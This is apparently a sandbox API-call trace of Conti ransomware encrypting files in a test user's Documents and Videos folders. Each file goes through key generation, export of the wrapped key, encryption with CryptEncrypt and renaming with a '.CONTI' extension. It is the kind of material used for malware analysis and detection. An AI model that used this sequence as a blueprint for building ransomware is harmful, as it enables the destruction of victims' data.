	[0139.135] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.534] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp") returned="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp"
	[0146.534] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp.CONTI"
	[0146.534] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp" (normalized: "c:\\users\\fd1hvy\\documents\\hstpiaik7oeu0.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\hstPiaIk7oeu0.odp.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\hstpiaik7oeu0.odp.conti")) returned 1
	[0146.535] GetProcessHeap () returned 0x1720000
	[0146.535] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.535] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0146.535] GetProcessHeap () returned 0x1720000
	[0146.535] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740fe0 | out: hHeap=0x1720000) returned 1
	[0146.535] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0146.535] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65cf780 | out: phKey=0x65cf780*=0x17de510) returned 1
	[0146.535] CryptExportKey (in: hKey=0x17de510, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf784, pdwDataLen=0x433f9bc | out: pbData=0x65cf784*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0146.536] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\_46 d.mp4")) returned 0x20
	[0146.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\_46 d.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0146.536] GetLastError () returned 0x0
	[0146.536] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=64247) returned 1
	[0146.536] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfaf7
	[0146.536] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.536] SetEndOfFile (hFile=0x3d4) returned 1
	[0146.536] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.536] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.536] WriteFile (in: hFile=0x3d4, lpBuffer=0x65cf784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65cf784*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0146.539] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.539] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xfaf7, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xfaf7, lpOverlapped=0x0) returned 1
	[0146.542] CryptEncrypt (in: hKey=0x17de510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xfaf7, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xfb00) returned 1
	[0146.542] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.543] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xfb00, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xfb00, lpOverlapped=0x0) returned 1
	[0146.543] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.543] WriteFile (in: hFile=0x3d4, lpBuffer=0x65cf778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65cf778*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0146.543] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.543] CloseHandle (hObject=0x3d4) returned 1
	[0146.543] GetProcessHeap () returned 0x1720000
	[0146.543] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.543] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4"
	[0146.543] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4.CONTI"
	[0146.543] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\_46 d.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\_46 D.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\_46 d.mp4.conti")) returned 1
	[0146.546] GetProcessHeap () returned 0x1720000
	[0146.546] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.546] CryptDestroyKey (hKey=0x17de510) returned 1
	[0146.546] GetProcessHeap () returned 0x1720000
	[0146.546] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5a70 | out: hHeap=0x1720000) returned 1
	[0146.546] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0146.546] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d00a0 | out: phKey=0x65d00a0*=0x17debd0) returned 1
	[0146.546] CryptExportKey (in: hKey=0x17debd0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d00a4, pdwDataLen=0x433f9bc | out: pbData=0x65d00a4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0146.547] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\h0vd5p.mp4")) returned 0x20
	[0146.547] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\h0vd5p.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0146.547] GetLastError () returned 0x0
	[0146.547] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=73293) returned 1
	[0146.548] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11e4d
	[0146.548] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.548] SetEndOfFile (hFile=0x3d4) returned 1
	[0146.548] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.548] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.548] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d00a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d00a4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0146.550] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.550] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x11e4d, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x11e4d, lpOverlapped=0x0) returned 1
	[0146.555] CryptEncrypt (in: hKey=0x17debd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x11e4d, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x11e50) returned 1
	[0146.555] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.556] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x11e50, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x11e50, lpOverlapped=0x0) returned 1
	[0146.556] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.556] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d0098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d0098*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0146.556] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.556] CloseHandle (hObject=0x3d4) returned 1
	[0146.556] GetProcessHeap () returned 0x1720000
	[0146.556] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.556] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4"
	[0146.556] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4.CONTI"
	[0146.556] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\h0vd5p.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\H0vd5p.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\h0vd5p.mp4.conti")) returned 1
	[0146.557] GetProcessHeap () returned 0x1720000
	[0146.557] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.557] CryptDestroyKey (hKey=0x17debd0) returned 1
	[0146.557] GetProcessHeap () returned 0x1720000
	[0146.557] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e19d0 | out: hHeap=0x1720000) returned 1
	[0146.557] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0146.557] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d5078 | out: phKey=0x65d5078*=0x17dea50) returned 1
	[0146.557] CryptExportKey (in: hKey=0x17dea50, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d507c, pdwDataLen=0x433f9bc | out: pbData=0x65d507c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0146.558] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\zn4rw.swf")) returned 0x20
	[0146.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\zn4rw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0146.558] GetLastError () returned 0x0
	[0146.558] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=40584) returned 1
	[0146.558] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9e88
	[0146.558] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.558] SetEndOfFile (hFile=0x3d4) returned 1
	[0146.558] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.558] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.558] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d507c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d507c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0146.563] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.563] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x9e88, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x9e88, lpOverlapped=0x0) returned 1
	[0146.564] CryptEncrypt (in: hKey=0x17dea50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x9e88, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x9e90) returned 1
	[0146.564] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.564] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x9e90, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x9e90, lpOverlapped=0x0) returned 1
	[0146.565] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.565] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d5070*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d5070*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0146.565] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.565] CloseHandle (hObject=0x3d4) returned 1
	[0146.565] GetProcessHeap () returned 0x1720000
	[0146.565] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.565] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf"
	[0146.565] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf.CONTI"
	[0146.565] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\zn4rw.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\zn4rW.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\zn4rw.swf.conti")) returned 1
	[0146.566] GetProcessHeap () returned 0x1720000
	[0146.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.566] CryptDestroyKey (hKey=0x17dea50) returned 1
	[0146.566] GetProcessHeap () returned 0x1720000
	[0146.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1b08 | out: hHeap=0x1720000) returned 1
	[0146.566] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0146.566] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d3e38 | out: phKey=0x65d3e38*=0x17deb90) returned 1
	[0146.566] CryptExportKey (in: hKey=0x17deb90, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d3e3c, pdwDataLen=0x433f9bc | out: pbData=0x65d3e3c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0146.567] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\ervghgkn9y0rqxam7.mkv")) returned 0x20
	[0146.567] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\ervghgkn9y0rqxam7.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0146.567] GetLastError () returned 0x0
	[0146.567] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=43892) returned 1
	[0146.567] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xab74
	[0146.567] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.567] SetEndOfFile (hFile=0x3d4) returned 1
	[0146.568] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.568] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.568] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d3e3c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x65d3e3c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0146.574] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.574] ReadFile (in: hFile=0x3d4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xab74, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xab74, lpOverlapped=0x0) returned 1
	[0146.576] CryptEncrypt (in: hKey=0x17deb90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xab74, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xab80) returned 1
	[0146.576] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.576] WriteFile (in: hFile=0x3d4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xab80, lpOverlapped=0x0) returned 1
	[0146.576] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.576] WriteFile (in: hFile=0x3d4, lpBuffer=0x65d3e30*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x65d3e30*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0146.576] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.577] CloseHandle (hObject=0x3d4) returned 1
	[0146.577] GetProcessHeap () returned 0x1720000
	[0146.577] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.577] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv") returned="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv"
	[0146.577] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv.CONTI"
	[0146.577] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\ervghgkn9y0rqxam7.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\ErvGHGkN9Y0rQxAm7.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\ervghgkn9y0rqxam7.mkv.conti")) returned 1
	[0146.577] GetProcessHeap () returned 0x1720000
	[0146.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.577] CryptDestroyKey (hKey=0x17deb90) returned 1
	[0146.577] GetProcessHeap () returned 0x1720000
	[0146.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1968 | out: hHeap=0x1720000) returned 1
	[0146.577] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0146.577] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x65d6990 | out: phKey=0x65d6990*=0x17de910) returned 1
	[0146.578] CryptExportKey (in: hKey=0x17de910, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6994, pdwDataLen=0x433f9bc | out: pbData=0x65d6994*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0146.578] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\lqhjn.flv")) returned 0x20
	[0146.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\fK UkKgghIs1\\LQhJN.flv" (normalized: "c:\\users\\fd1hvy\\videos\\fk ukkgghis1\\lqhjn.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0146.580] GetLastError () returned 0x0
	[0146.581] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=68569) returned 1
